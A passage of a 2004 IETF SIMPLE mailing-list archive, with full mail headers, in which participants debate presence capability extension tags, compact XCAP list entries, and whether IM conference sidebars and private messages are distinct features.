	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04562
	for <simple@ietf.org>; Mon, 1 Mar 2004 04:23:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axje6-0003Pm-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:23:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axjd8-0003KB-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:22:31 -0500
Received: from sj-iport-4.cisco.com ([171.68.10.86])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxjcK-0003A4-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:21:40 -0500
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.10/8.12.6) with ESMTP id i219K7vV023975;
	Mon, 1 Mar 2004 01:20:07 -0800 (PST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK36383;
	Mon, 1 Mar 2004 04:20:04 -0500 (EST)
Message-ID: <40430042.5090108@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mikko.lonnfors@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] comments on prescaps - extension elements
References: <0C1353ABB1DEB74DB067ADFF749C4EEF01D172BC@esebe004.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 04:20:02 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit



mikko.lonnfors@nokia.com wrote:
> Hi,
> 
> 
>>>I know I spoke in favor of this approach in the past, but I never
>>>guarantee the self consistency of my argumetns over time, and I now 
>>>think that this is not a good idea.
>>>
>>>The reasons are:
>>>
>>>  1. XML has a mechanism for extensibility; this defines a 
>>
>>separate one
>>
>>>  2. an element could appear as an extension as you have 
>>
>>defined it, 
>>
>>>or,
>>>if later we do define a matching set of real XML extensions 
>>
>>to carry it, 
>>
>>>it could appear there. You dont want to have two valid ways 
>>
>>of carrying 
>>
>>>the data
>>>  3. there is an argument to be made that the PA should not 
>>
>>generally be 
>>
>>>conveying infomraiton it doesnt understand, and that is the 
>>
>>case here
>>
>>>As such, I would recommend dropping this entire section.
>>
>>I disagree!
>>
>>The extension mechanism in callee-caps has means that don't 
>>require any 
>>registration at all. This is very good for cases when there 
>>are features 
>>that are very transient. For instance, it is possible to define a 
>>feature tag for something like frobitz-sales, or widget-help. 
>>And then I 
>>can use callerprefs to select an endpoint with the appropriate 
>>capability. This allows end users to take advantage of 
>>callerprefs for 
>>features that matter to them. (Assuming sufficiently smart devices.)
>>
>>When using presence, I would like the same to hold true. If it is 
>>necessary to define a new xml schema before I can announce a 
>>capability 
>>for widget-help in my presence then nothing this dynamic can 
>>be a feature.
> 
> 
> This is definitely a use case where mandating a new XML schema may not
> work. I originally thought that making new XML schema would not be that
> big deal but if you want this kind of automation then making new XML
> schema on the fly may not be possible. 
> Only doubt that I have is that can the end point which receives this
> information really use it? If this info in generated on the fly then how
> the receiving end really knows to look for this?

This can work as long as it is a community of users with a common 
understanding of what they use. Such a community may have no ability to 
alter the code of the devices, so this is the best they can expect.

>>If there is a problem, it is that the draft forbids use of 
>>the extension 
>>mechanism when there is specific schema for the same purpose.
> 
> Well, I think this restriction is quite useful. I think there should be
> a rule that _same_ data cannot be placed into two different places. If
> this happens it may be very confusing for applications processing this
> information to decide what to do. 
> My intension with the restriction you refer to was to forbid use of
> extension tags to represent standard tags defined in callee caps. 

The problem here is that a given tag may initially be represented as an 
extension tag. Later, somebody decides it would be nice to have a custom 
schema for that tag. Once that starts to be implemented there is an 
interop problem between those that have adopted the new schema and those 
still using the old way.

Perhaps we could say something more bounded - things in the sip tree 
cannot be represented using the extension syntax, while things outside 
the sip tree should only be represented via the extension syntax.

	Thanks,
	Paul



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 04:26:00 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04703
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 04:26:00 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axjg4-0005TD-9g
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 04:25:32 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i219PW4Y021023
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 04:25:32 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axjg4-0005T0-0N
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 04:25:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04694
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 04:25:30 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axjg1-0003aE-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 04:25:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axjf9-0003W6-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 04:24:36 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axjec-0003Rb-00; Mon, 01 Mar 2004 04:24:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axjeb-0005BO-0W; Mon, 01 Mar 2004 04:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axje9-0005AJ-Jk
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 04:23:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04562
	for <simple@ietf.org>; Mon, 1 Mar 2004 04:23:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axje6-0003Pm-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:23:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axjd8-0003KB-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:22:31 -0500
Received: from sj-iport-4.cisco.com ([171.68.10.86])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxjcK-0003A4-00
	for simple@ietf.org; Mon, 01 Mar 2004 04:21:40 -0500
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-3.cisco.com (8.12.10/8.12.6) with ESMTP id i219K7vV023975;
	Mon, 1 Mar 2004 01:20:07 -0800 (PST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK36383;
	Mon, 1 Mar 2004 04:20:04 -0500 (EST)
Message-ID: <40430042.5090108@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: mikko.lonnfors@nokia.com
CC: jdrosen@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] comments on prescaps - extension elements
References: <0C1353ABB1DEB74DB067ADFF749C4EEF01D172BC@esebe004.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 04:20:02 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



mikko.lonnfors@nokia.com wrote:
> Hi,
> 
> 
>>>I know I spoke in favor of this approach in the past, but I never
>>>guarantee the self consistency of my argumetns over time, and I now 
>>>think that this is not a good idea.
>>>
>>>The reasons are:
>>>
>>>  1. XML has a mechanism for extensibility; this defines a 
>>
>>separate one
>>
>>>  2. an element could appear as an extension as you have 
>>
>>defined it, 
>>
>>>or,
>>>if later we do define a matching set of real XML extensions 
>>
>>to carry it, 
>>
>>>it could appear there. You dont want to have two valid ways 
>>
>>of carrying 
>>
>>>the data
>>>  3. there is an argument to be made that the PA should not 
>>
>>generally be 
>>
>>>conveying infomraiton it doesnt understand, and that is the 
>>
>>case here
>>
>>>As such, I would recommend dropping this entire section.
>>
>>I disagree!
>>
>>The extension mechanism in callee-caps has means that don't 
>>require any 
>>registration at all. This is very good for cases when there 
>>are features 
>>that are very transient. For instance, it is possible to define a 
>>feature tag for something like frobitz-sales, or widget-help. 
>>And then I 
>>can use callerprefs to select an endpoint with the appropriate 
>>capability. This allows end users to take advantage of 
>>callerprefs for 
>>features that matter to them. (Assuming sufficiently smart devices.)
>>
>>When using presence, I would like the same to hold true. If it is 
>>necessary to define a new xml schema before I can announce a 
>>capability 
>>for widget-help in my presence then nothing this dynamic can 
>>be a feature.
> 
> 
> This is definitely a use case where mandating a new XML schema may not
> work. I originally thought that making new XML schema would not be that
> big deal but if you want this kind of automation then making new XML
> schema on the fly may not be possible. 
> Only doubt that I have is that can the end point which receives this
> information really use it? If this info in generated on the fly then how
> the receiving end really knows to look for this?

This can work as long as it is a community of users with a common 
understanding of what they use. Such a community may have no ability to 
alter the code of the devices, so this is the best they can expect.

>>If there is a problem, it is that the draft forbids use of 
>>the extension 
>>mechanism when there is specific schema for the same purpose.
> 
> Well, I think this restriction is quite useful. I think there should be
> a rule that _same_ data cannot be placed into two different places. If
> this happens it may be very confusing for applications processing this
> information to decide what to do. 
> My intension with the restriction you refer to was to forbid use of
> extension tags to represent standard tags defined in callee caps. 

The problem here is that a given tag may initially be represented as an 
extension tag. Later, somebody decides it would be nice to have a custom 
schema for that tag. Once that starts to be implemented there is an 
interop problem between those that have adopted the new schema and those 
still using the old way.

Perhaps we could say something more bounded - things in the sip tree 
cannot be represented using the extension syntax, while things outside 
the sip tree should only be represented via the extension syntax.

	Thanks,
	Paul



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 05:25:46 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07684
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 05:25:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxkcM-00021U-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 05:25:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axkbc-0001tw-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 05:25:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axkam-0001lf-00; Mon, 01 Mar 2004 05:24:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axkaj-0001pw-5d; Mon, 01 Mar 2004 05:24:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axkac-0001os-3A
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 05:23:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07540
	for <simple@ietf.org>; Mon, 1 Mar 2004 05:23:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxkaY-0001kv-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:23:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxkZe-0001e2-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:22:58 -0500
Received: from mail4.dynamicsoft.com ([63.110.3.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxkZ2-0001WG-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:22:20 -0500
Received: from DYN-TX-EXCH-001.dynamicsoft.com (dyn-tx-exch-001 [63.110.3.8])
	by mail4.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i21ALp0p016919;
	Mon, 1 Mar 2004 04:21:51 -0600 (CST)
Received: by dyn-tx-exch-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <10MYQPGP>; Mon, 1 Mar 2004 04:21:51 -0600
Message-ID: <9ACE0CEE075B494096C86C23878BF85906A34C@dyn-tx-exch-001.dynamicsoft.com>
From: Adam Roach <adam@dynamicsoft.com>
To: "'hisham.khartabil@nokia.com'" <hisham.khartabil@nokia.com>,
        Adam Roach <adam@dynamicsoft.com>
Cc: simple@ietf.org
Subject: RE: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 04:21:47 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60



hisham.khartabil@nokia.com [mailto:hisham.khartabil@nokia.com] writes:

> > There is strong motivation to have a very small notation
> > for minimal list, along the lines of:
> > 
> >   <entry uri="sip:adam@example.com" />
> >   <entry uri="sip:hisham@example.com" />
> >   <entry uri="sip:robert@example.com" />
> 
> Yes, I was thinking the same. If the uri in unique, why do we 
> need name?

The stated motivation has been that SIP URI comparision rules
can be inefficient.

/a

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 05:26:18 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07738
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 05:26:18 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxkcQ-00027r-Tq
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 05:25:51 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21APo6P008165
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 05:25:50 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxkcQ-00027c-Iz
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 05:25:50 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07702
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 05:25:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxkcM-00021a-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 05:25:47 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axkbd-0001u3-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 05:25:01 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axkam-0001lf-00; Mon, 01 Mar 2004 05:24:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axkaj-0001pw-5d; Mon, 01 Mar 2004 05:24:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axkac-0001os-3A
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 05:23:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07540
	for <simple@ietf.org>; Mon, 1 Mar 2004 05:23:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxkaY-0001kv-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:23:54 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxkZe-0001e2-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:22:58 -0500
Received: from mail4.dynamicsoft.com ([63.110.3.100])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxkZ2-0001WG-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:22:20 -0500
Received: from DYN-TX-EXCH-001.dynamicsoft.com (dyn-tx-exch-001 [63.110.3.8])
	by mail4.dynamicsoft.com (8.12.8/8.12.8) with ESMTP id i21ALp0p016919;
	Mon, 1 Mar 2004 04:21:51 -0600 (CST)
Received: by dyn-tx-exch-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <10MYQPGP>; Mon, 1 Mar 2004 04:21:51 -0600
Message-ID: <9ACE0CEE075B494096C86C23878BF85906A34C@dyn-tx-exch-001.dynamicsoft.com>
From: Adam Roach <adam@dynamicsoft.com>
To: "'hisham.khartabil@nokia.com'" <hisham.khartabil@nokia.com>,
        Adam Roach <adam@dynamicsoft.com>
Cc: simple@ietf.org
Subject: RE: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 04:21:47 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60



hisham.khartabil@nokia.com [mailto:hisham.khartabil@nokia.com] writes:

> > There is strong motivation to have a very small notation
> > for minimal list, along the lines of:
> > 
> >   <entry uri="sip:adam@example.com" />
> >   <entry uri="sip:hisham@example.com" />
> >   <entry uri="sip:robert@example.com" />
> 
> Yes, I was thinking the same. If the uri in unique, why do we 
> need name?

The stated motivation has been that SIP URI comparision rules
can be inefficient.

/a

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 05:54:14 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA09032
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 05:54:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axl3t-0004yF-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 05:54:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axl2Z-0004hU-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 05:52:52 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axl1K-0004XJ-00; Mon, 01 Mar 2004 05:51:34 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1Axku8-0004y6-9n; Mon, 01 Mar 2004 05:44:08 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axku2-0003yC-LK; Mon, 01 Mar 2004 05:44:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axktd-0003xU-3x
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 05:43:37 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08633
	for <simple@ietf.org>; Mon, 1 Mar 2004 05:43:33 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxktZ-00040F-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:43:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axkso-0003wT-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:42:47 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxksE-0003rG-00
	for simple@ietf.org; Mon, 01 Mar 2004 05:42:10 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i21AfRUG008016;
	Mon, 1 Mar 2004 05:41:28 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA06961;
	Mon, 1 Mar 2004 05:41:27 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <FZX4GTQL>; Mon, 1 Mar 2004 05:41:27 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B647E@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>
Cc: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 05:41:17 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Aki

My post was meant to point out that we had decided to implement sidebars
as separate dialogs from main conferences, which is similar to making
"private messages" separate dialogs from a main IM dialog.  In that
way, I think that sidebars and private messages are the same; they are
media sent to a subset of participants in the group.  If there
is a reason to allow a special way to subset destinations for a
private message rather than the entire chat group, then whatever
argument you make would apply to a sidebar.  

Brian

> -----Original Message-----
> From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> Sent: Monday, March 01, 2004 2:58 AM
> To: ext Rosen, Brian
> Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> Miguel.An.Garcia@nokia.com; simple@ietf.org
> Subject: Re: [Simple] Chat sessions
> 
> 
> Brian,
> 
> I've never argued for private messages over sidebars. I still 
> maintain 
> that sidebars and private messages are different and *complimentary* 
> features, and that we need *both* to have a complete solution for IM 
> conferences.
> 
> Cheers,
> Aki
> 
> ext Rosen, Brian wrote:
> > Aki
> > 
> > When we were discussing sidebars, I made arguments like 
> this against making
> > a sidebar
> > a separate session.  Sidebars, I argued, are just media 
> (mixing) changes,
> > they have
> > nothing to do with session management.
> > 
> > I lost this argument, and I will be very unhappy if IM 
> works differently.
> > One of
> > the reasons I lost it was the observation that a sidebar 
> could include
> > participants
> > who are not main conference participants.  I think you have 
> the same issue
> > here.
> > 
> > Brian
> > 
> > 
> >>-----Original Message-----
> >>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> >>Sent: Sunday, February 29, 2004 12:40 PM
> >>To: ext Jonathan Rosenberg
> >>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> >>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> >>Miguel.An.Garcia@nokia.com; simple@ietf.org
> >>Subject: Re: [Simple] Chat sessions
> >>
> >>
> >>
> >>
> >>ext Jonathan Rosenberg wrote:
> >><snip />
> >>
> >>>>3. As Aki explained, sidebars and private IMs within a conference 
> >>>>are two different things. Sidebars are subconferences, 
> that include
> >>>> a certain subset of the participants in the main 
> conference. They 
> >>>>need to be explicitly created and deleted. Private IMs within a 
> >>>>conference are also targeted to a subset of the conference 
> >>>>participants. But there is no need to setup a sidebar or 
> any other 
> >>>>additional context to send them. The recipients can simply be 
> >>>>signaled within each message (as proposed by using CPIM 
> To header).
> >>>> This seems to be a specific property of IM, as this sort of 
> >>>>addressing would be impossible e.g. in RTP. In theory priate 
> >>>>messaging facility could be supported by sidebars, but in 
> this case
> >>>> the focus would need to have as many sidebars constantly 
> setup, as
> >>>> there are different possible participant subset 
> combinations. Way 
> >>>>too complex and not needed.
> >>>
> >>>
> >>>I dont think that, functionally, what you are describing is 
> >>
> >>different
> >>
> >>> from a sidebar. What differs is that the specifics of this media 
> >>>type allow for a more efficient implementation of the sidebar than 
> >>>would be possible for another media type, such as audio. 
> >>
> >>Indeed, the 
> >>
> >>>same is true for IM in general - why set up a session (ala 
> >>
> >>msrp) when
> >>
> >>>you can just send a pager mode?
> >>
> >>The ultimate proof of difference in functionality is that private
> >>messages are usable and useful in a sidebar - in fact it makes no
> >>difference whether they're sent within the context of a 
> conference, a
> >>conference sidebar, or a sidebar of a conference sidebar.
> >>
